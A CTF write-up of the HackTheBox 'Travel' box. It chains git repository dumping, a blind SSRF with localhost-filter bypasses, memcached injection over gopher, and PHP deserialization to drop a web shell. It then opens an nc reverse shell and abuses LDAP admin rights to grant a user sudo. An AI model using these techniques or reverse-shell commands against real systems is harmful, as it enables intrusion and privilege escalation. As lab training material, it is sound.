HackTheBox - Travel
Travel just retired on HackTheBox. It’s a hard difficulty Linux box. The box was really well designed but it’s the one that gives me the biggest headache so far. The path to user is really not obvious and require a lot of enumeration and stepping back, looking at the big picture to understand what’s going on behind the hood and how it can be exploited. This box doesn’t rely on common vulnerabilities but rather on little configuration and coding mistakes that allows you to chain vulnerability until you can obtain what you need. In the end it’s a though but awesome box that I really recommend.
Tl;Dr: To get the user flag you first have to retrieve some php files code source from an open git
repository. With information found in the source code you discover an SSRF vulnerability and an object deserialization vulnerability through memcached
. Linking those two vulnerabilities we achieve arbitrary file write allowing us to create a web-shell. The web server runs in a Docker container and we have to explore to find a SQL backup file containing hashed password for lynik-admin
user. Cracking the hash allow to use password to connect through SSH and get the user flag.
For the root flag you have to find the LDAP admin password in .viminfo
cache file. Using this admin password it’s possible, using LDAP, to edit the permission of one user on the box to give him root
access trough sudo. It’s also possible to edit its SSH key and account password, giving us full access to a privileged account and use it to get the root flag.
Alright! Let’s get into the details now!
First thing first, let’s add the box IP to the hosts file:
1 | [hg8@archbook ~]$ echo "10.10.10.189 traval.htb" >> /etc/hosts |
and let’s start!
User Flag
Recon
Let’s start with the classic nmap
scan to see which ports are open on the box:
1 | [hg8@archbook ~]$ nmap -sV -sT -sC travel.htb |
We have a classical web app running on port 80, 443 and the SSH port 22 open.
nmap
gives us additional information about two subdomains: blog.travel.htb
and blog-dev.travel.htb
.
Opening http://travel.htb display a following page:
Not much we can’t do from here… Let’s move on.
Opening https://travel.htb display a following page:
The port 443 seems quite empty aswell… Let’s take a look at the subdomains:
Opening http://blog-dev.travel.htb returns a 403 Forbidden
while http://blog.travel.htb returns an actual blog:
The blog is a Wordpress (Powered by WordPress
in the footer) and it main and only feature seems to be the “Awesome RSS” reader:
Welcome to our Travel Blog. Make sure to check out our new RSS feature coming fresh from our blog-dev team!
The page display an RSS Reader with apparently nothing in particular:
Let’s move on. First we can fire gobuster
to see if it can find interesting directories.
http://blog.travel.htb
didn’t returned any interesting content, nothing more than common wordpress folder. wpscan
didn’t find any vulnerability in the Wordpress version used nor in any plugins or themes.
Git Repository Disclosure
Upon running gobuster
on http://blog-dev.travel.htb
an interesting folder shows up:
1 | [hg8@archbook ~]$ gobuster dir -u "http://blog-dev.travel.htb/" -w ~/SecLists/Discovery/Web-Content/big.txt |
Looks like someone accidentally let the project Git repository open and accessible.
If you are comfortable with Git inner-working, you are aware that Git will create a .git
folder at the root of every projects it handle. This folder contains all the informations necessary for versioning the project, including all the information about commits, remote repository address, etc.
It also contains logs that stores the files commit history to be able to roll back to history at any moment.
Here is a good explanation on how it works behind the hood.
Alright! So with the right tools we should be able to easily dump the whole content of the repository.
Let’s use GitTools
for this:
1 | [hg8@archbook ~]$ bash gitdumper.sh http://blog-dev.travel.htb/.git/ blog-dev-dump |
Bingo! looks like we managed to access a few files here. Let’s now run git reset
to get the file content:
1 | [hg8@archbook ~]$ git log |
According to the README.md
file this is an extension to show RSS inside a Wordpress page:
1 | [hg8@archbook ~]$ cat README.md |
This is probably what is being used on the “Awesome RSS” page we found earlier on http://blog.travel.htb/awesone-rss/
.
The README.md
gives us additional information that might come useful later:
rss_template.php
andtemplate.php
files we just found should be located inwp-content/themes/twentytwenty
.- A
logs
folder exist atwp-content/themes/twentytwenty/logs
. - The RSS have security checks, probably meaning it handle user input at some points.
- Something get cached somewhere.
With those information in mind let’s continue our investigations.
RSS Template
Let’s take a deeper look at the two php files we recovered. First rss_template.php
:
1 |
|
Alright so this file gives us a lot of informations on what going on. To resume:
- This is the template used at
http://blog.travel.htb/awesome-rss/
. - The RSS is parsed using a library named
SimplePie
. - Something seems to be cached (probably the feed content?) into a local instance of
memcached
. - It’s possible to provide a custom RSS feed link to the page using
custom_feed_url
parameter. - There is a
debug.php
file located atwp-content/themes/twentytwenty/debug.php
Let’s now take a look at template.php
which get included in rss_template.php
:
1 |
|
The file is mainly used to retrieve remote RSS file using curl
. In addition there is a few “security” check to make sure the parsing of custom RSS url doesn’t get abused.
Well now that’s a lot of informations. Let’s put everything together to see if we can progress.
Blind SSRF With Custom RSS Feed
First thing I wanted to try was to check this custom_feed_url
function.
Let’s create a valid RSS file and host it on our machine using Python server:
1 |
|
1 | [hg8@archbook ~]$ python -m http.server |
Now navigating to http://blog.travel.htb/awesome-rss/?custom_feed_url=http://10.10.14.18:8000/sample.xml
indeed display our custom RSS feed:
And we can see a new request have been made to our web server from the box:
1 | [hg8@archbook ~]$ python -m http.server |
That’s good, we got Blind SSRF (Server Side Request Forgery)!
But what now? With Blind SSRF only we can’t do much yet. Since we can’t even read local files using file://
…
Let’s continue to review what we found so far to see if it can be linked with that SSRF.
Debug.php
I then got curious about `debug.php file. Maybe it can leak juicy informations ?
1 | [hg8@archbook ~]$ curl http://blog.travel.htb/wp-content/themes/twentytwenty/debug.php -i |
Well that’s not very helpful. Yet while looking around and testing various things I got the debug
to throw some informations. Indeed just after calling a custom_feed_url
with the debug parameter we get the following:
1 | [hg8@archbook ~]$ curl "http://blog.travel.htb/awesome-rss/?debug&custom_feed_url=http://10.10.14.18:8000/sample.xml" -s > /dev/null |
Both output are truncated, yet we notice the xct_
prefix here, if you remember we saw it being used by SimplePie
:
1 | $simplepie->set_cache_location('memcache://127.0.0.1:11211/?timeout=60&prefix=xct_'); |
SimplePie documentation explains:
To use Memcache for SimplePie’s cache, simply set your cache location with a memcache.
For example,
memcache://localhost:11211/?timeout=3600&prefix=sp_
will connect to memcache on localhost on port 11211. All tables will be prefixed with sp_ and data will expire after 3600 seconds.https://simplepie.org/api/class-SimplePie_Cache_Memcache.html
Reading through SimplePie memcache.php
source code we understand the given prefix is used to generated the memcached
entry key:
1 | $this->name = $this->options['extras']['prefix'] . md5("$name:$type"); |
In addition, still reading through the source code of SimplePie we see that it’s serialize data and save it in the memcached
entry. Once loading RSS from cache it will unserialize the stored data:
1 | /** |
This make perfect sense with the output of debug.php
that very probably show the lasted entry added (or loaded) from memcached
:
- Key:
xct_a0e937ab19(...)
- Content:
a:4:{s:5:"child";a:1:{s:0:"";a:1:{(...)
And now we can see how we could potentially exploit this flow…
Object Deserialization Vulnerability
If you remember, in template.php
we have this TemplateHelper
Object:
1 | class TemplateHelper |
If we find a way to create a new instance of TemplateHelper()
we could actually exploit the file_put_contents()
to write a web-shell to wp-content/themes/twentytwenty/logs/
. Like so:
1 | require("TemplateHelper.php"); |
That’s exactly what we need with the behaviour of SimplePie
we found earlier. Let me explain.
SimplePie
stores, for each RSS feed, amemcached
entry containing serialized PHP.Upon loading an RSS feed already cached before,
SimplePie
will take thememcached
entry and unserialize the data with:1
2
3public function load() {
return unserialize($data);
}By storing a malicious serialized
TemplateHelper()
object (the one shown above) in the rightmemcached
entry,SimplePie
will execute it during the unserialize process (as know as Insecure Deserialization Vulnerability). This will write our web-shell to the server.
Sounds all good. Yet we are missing one point: How to write our malicious memcached
entry ?
That’s where the SSRF vulnerability we found earlier come to play :)
SimplePie Memcached Key
First of all, we need to make sure to write our malicious payload to a memcached
entry that SimplePie
will deserialize.
By the code we know for sure that the default RSS feed (http://www.travel.htb/newsfeed/customfeed.xml
) is stored in memcached
and loaded when we open Awesome RSS
without extra parameters.
Knowing this the best way to go would be to overwrite customfeed.xml
memcached
entry with our malicious payload.
The syntax to update a memcached
entry is the following:
1 | set key flags exptime bytes [noreply] |
But an issue arise. How can we find the memcached
key used by SimplePie
?
Well we saw earlier from the source code that key is the following format:
1 | MD5(feed_url + ":spc") |
So for http://www.travel.htb/newsfeed/customfeed.xml
it should gives us the following MD5:
1 | php > print md5("http://www.travel.htb/newsfeed/customfeed.xml" . ":spc"); |
Yet that doesn’t match the entry shown by the debug.php
page:
1 | [hg8@archbook ~]$ curl "http://blog.travel.htb/awesome-rss/?debug" -s > /dev/null |
By digging a bit more in the source code we found that another MD5
is being made on top of the previous one. Creating the hash this way:
1 | # https://simplepie.org/api/source-class-SimplePie.html#1266 |
So for http://www.travel.htb/newsfeed/customfeed.xml
it should gives us the following MD5 as memcached
key:
1 | php > print md5(md5("http://www.travel.htb/newsfeed/customfeed.xml") . ":spc"); |
Bingo! That match the partiel key we got from debug.php
. We now have the memcached
key for the entry we want to overwrite.
Memcached injection
Alright that’s a lot of informations so far but we slowly manage to get all the pieces together right ?
We have:
- Our malicious serialized PHP payload to drop a web-shell.
- The
memcached
entry to inject our payload to. - SSRF
It now seems straightforward to use server-side request forgery in order to inject our payload to memcached
(running on internal port 11211
).
Bypassing SSRF protection
But wait… Didn’t we saw SSRF protection in
Template.php
?
Let’s take a look at it:
1 | $tmp = parse_url($url, PHP_URL_HOST); |
Well that’s quite weak protection and there is more than a way to bypass it:
Since it’s using a weak comparison we could simply use capital “LOCALHOST” or even “localHost”:
1
2
3
4php > var_dump("localhost" == "LOCALHOST");
bool(false)
php > var_dump("localhost" == "localhOst");
bool(false)And then well we have plenty of other ways to call on localhost that is not
localhost
nor127.0.0.1
. Here is a few possible way:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16[hg8@archbook ~]$ curl 127.0.0.1
hello from localhost!
[hg8@archbook ~]$ curl 0
hello from localhost!
[hg8@archbook ~]$ curl 0.0.0.0
hello from localhost!
[hg8@archbook ~]$ curl 127.1
hello from localhost!
[hg8@archbook ~]$ curl 0177.0000.0000.0001
hello from localhost!
[hg8@archbook ~]$ curl 0x7F000001
hello from localhost!
[hg8@archbook ~]$ curl 2130706433
hello from localhost!
[hg8@archbook ~]$ curl 127.00.00.1
hello from localhost!Using a domain name which DNS record pointing to
127.0.0.1
likehttp://localtest.me
1
2[hg8@archbook ~]$ curl http://localtest.me/
hello from localhost!
As you can see it shouldn’t be hard to bypass this SSRF protection. From now on I will use 127.1
.
Memcached And Gopher Protocol
Another problem arise, using HTTP to inject memcached
payload probably won’t work since HTTP
need a specific format to be valid (like host
and a bunch of carriage return).
memcached
protocol needs data to includes sequences of commands and data ending by two CRLF:
There are two kinds of data sent in the memcache protocol: text lines
and unstructured data. Text lines are used for commands from clients
and responses from servers. Unstructured data is sent when a client
wants to store or retrieve data. The server will transmit back
unstructured data in exactly the same way it received it, as a byte
stream. The server doesn’t care about byte order issues in
unstructured data and isn’t aware of them. There are no limitations on
characters that may appear in unstructured data; however, the reader
of such data (either a client or a server) will always know, from a
preceding text line, the exact length of the data block being
transmitted.Text lines are always terminated by \r\n. Unstructured data is also
terminated by \r\n, even though \r, \n or any other 8-bit characters
may also appear inside the data. Therefore, when a client retrieves
data from a server, it must use the length of the data block (which it
will be provided with) to determine where the data block ends, and not
the fact that \r\n follows the end of the data block, even though it
does.
A workaround to this format issue is to use the gopher://
protocol instead of http://
:
The Gopher protocol is a communications protocol designed for distributing, searching, and retrieving documents in Internet Protocol networks. The design of the Gopher is presented as an alternative to the World Wide Web in its early stages, but ultimately fell into disfavor, yielding to the Hypertext Transfer Protocol (HTTP).
While not being widely used, Gopher is still supported by curl
:
1 | [hg8@archbook ~]$ man curl |
Alright! We those informations we can start creating our memcached
command to inject on the server.
First let’s create our serialized PHP web-shell payload:
1 | php > require("TemplateHelper.php"); |
Now we can create the memcached
command we need to execute:
1 | set xct_4e5612ba079c530a6b1f148c0b352241 4 0 131 |
URL Encoding this command and send it through curl
using gopher://
protocol should work. Let’s give it a try and get our answer :)
Chaining vulnerabilities for RCE
We have quite a few vulnerabilities to chain in order to achieve Remote Code execution. We need to:
SSRF -> Memcached Injection -> Object Deserialization -> Arbitrary File Write
Since it’s going to be a pain let’s write a script to pull the exploit:
1 | #!/usr/bin/env python |
Let’s run it to see if everything goes fine:
1 | [hg8@archbook ~]$ python exploit-test.py |
Bingo it worked!
Upgrade Web-Shell with Socat
Alright now we have our web-shell:
1 | [hg8@archbook ~]$ curl "http://blog.travel.htb/wp-content/themes/twentytwenty/logs/hg8.php?cmd=id" |
Let’s open a reverse shell to upgrade to a more stable shell:
1 | [hg8@archbook ~]$ nc -l -vv -p 8585 |
1 | [hg8@archbook ~]$ curl "http://blog.travel.htb/wp-content/themes/twentytwenty/logs/hg8.php?cmd=nc%20-e%20/bin/bash%2010.10.10.10%208585" |
And we get a new connection to open on our listener:
1 | [hg8@archbook ~]$ nc -l -vv -p 8585 |
Unfortunately there is no python
nor python3
installed on the box allowing us to upgrade our shell. Thankfully after a bit of search we found out socat
is installed. Let’s upgrade our shell using it:
1 | [hg8@archbook ~]$ nc -l -vv -p 8585 |
Now we have a proper shell:
1 | [hg8@archbook ~]$ nc -l -vv -p 4444 |
What a ride! Let’s see what’s next.
Pivot www-data -> lynik-admin
The hostname
and different informations makes us understand we are in a Docker container:
1 | www-data@blog:/$ ls -la / |
Well let’s keep that in mind and continue our recon.
Since we know the travel website is a Wordpress site we can retrieve database credentials inside wp-config.php
file:
1 | www-data@blog:/var/www/html$ cat wp-config.php |
Let’s see if we can retrieve interesting accounts from the database:
1 | www-data@blog:/var/www/html$ mysql -u wp -p |
We have a hash from admin
account. Unfortunately John
can not seem to crack it. Let’s move on.
While looking around we quickly stumble upon a database backup file in /opt/wordpress/
containing another user account belonging to lynik-admin
:
1 | www-data@blog:/opt/wordpress$ grep -ri "wp_users" backup-13-04-2020.sql |
Let’s see if we can crack its password hash:
1 | [hugo@archpen ~]$ john --wordlist=~/SecLists/Passwords/Leaked-Databases/rockyou.txt lynik-hash |
Bingo! Let’s see if we can connect through SSH using this credential:
1 | [hugo@archpen ~]$ ssh [email protected] |
Root FLag
Recon
First thing that come to mind is to check for more informations about docker. We know that docker is running and hosting the Travel Blog:
1 | lynik-admin@travel:~$ ip a |
Unfortunately lynik-admin
does not belong to docker
group so we can not escalate privileges this way (it would have been too easy right?).
LDAP Server
While looking around we notice a few informations about a LDAP server:
1 | lynik-admin@travel:~$ cat /etc/hosts |
Let’s digg a bit more to see what additional informations we can find about this LDAP server.
LDAP Admin Password
While searching for file related to ldap we strangely find a few occurence of the ldap
string in .viminfo
file:
1 | lynik-admin@travel:~$ grep -ri ldap |
According to vim man page, .viminfo
is used as “session” file:
If you exit Vim and later start it again, you would normally lose a lot of
information. The viminfo file can be used to remember that information, which
enables you to continue where you left off.The viminfo file is used to store:
- The command line history.
- The search string history.
- The input-line history.
- Contents of non-empty registers.
- Marks for several files.
- File marks, pointing to locations in files.
- Last search/substitute pattern (for ‘n’ and ‘&’).
- The buffer list.
- Global variables.
Let’s see what informations we can find in this file:
1 | lynik-admin@travel:~$ cat .viminfo |
We have an interesting line containing BINDPW Theroadlesstraveled
. According to LDAP documentation BINDPW
seems to be the administrative password of this LDAP Server.
Let’s confirm the password is valid:
1 | lynik-admin@travel:~$ man ldapsearch |
1 | lynik-admin@travel:~$ ldapsearch -x -w hg8 |
1 | lynik-admin@travel:~$ ldapsearch -x -w Theroadlesstraveled |
Bingo! We confirmed we have the LDAP admin password.
LDAP User privilege escalation
Since we have admin permissions over the LDAP server we should be able to add a new user with root
privileges right ? Let’s give it a try.
First we create our user entry with our own SSH key and password:
1 | dn: uid=hg8,ou=users,ou=linux,ou=servers,dc=travel,dc=htb |
Then use ldapadd
command to add it to the LDAP directory:
1 | lynik-admin@travel:/$ ldapadd -D "cn=lynik-admin,dc=travel,dc=htb" -w Theroadlesstraveled -f /tmp/.hg8/hg8.ldif |
Bummer! We don’t have permission to do so.
Well given we found that there is already several users on the server, we should probably have enough privilege to edit one instead of creating a new one.
Here is what we are going to do:
- Adding the ability to Louise account to connect through SSH using our own SSH key.
- Adding Louise to sudoers user in order to escalate our privileges
- Editing Louise password to allows the use of
sudo
command.
After getting the gid
of sudo
group using getintent
we have all the needed informations to create our modified LDAP entry for user Louise:
1 | lynik-admin@travel:/$ getent group sudo |
1 | lynik-admin@travel:/$ cat hg8.ldif |
Now we apply the modification:
1 | lynik-admin@travel:/$ ldapmodify -D "cn=lynik-admin,dc=travel,dc=htb" -w Theroadlesstraveled -f hg8.ldif |
And we should be able to login as louise
and use sudo
to escalate our privileges to root
:
1 | [hg8@archpen ~]$ ssh -i id_rsa_htb [email protected] |
References
- GitTools
- SimplePie Source Code
- PHP Object Injection Cheat Sheet
- vBulletin <= 5.2.2 Preauth Server Side Request Forgery (SSRF) | Memcached Injection
- GitHub Enterprise < 2.8.7 - Remote Code Execution | Memcached Injection
- Ldapmodify man page
- Ldapadd man page
That’s it folks! As always do not hesitate to contact me for any questions or feedbacks!
See you next time ;)
-hg8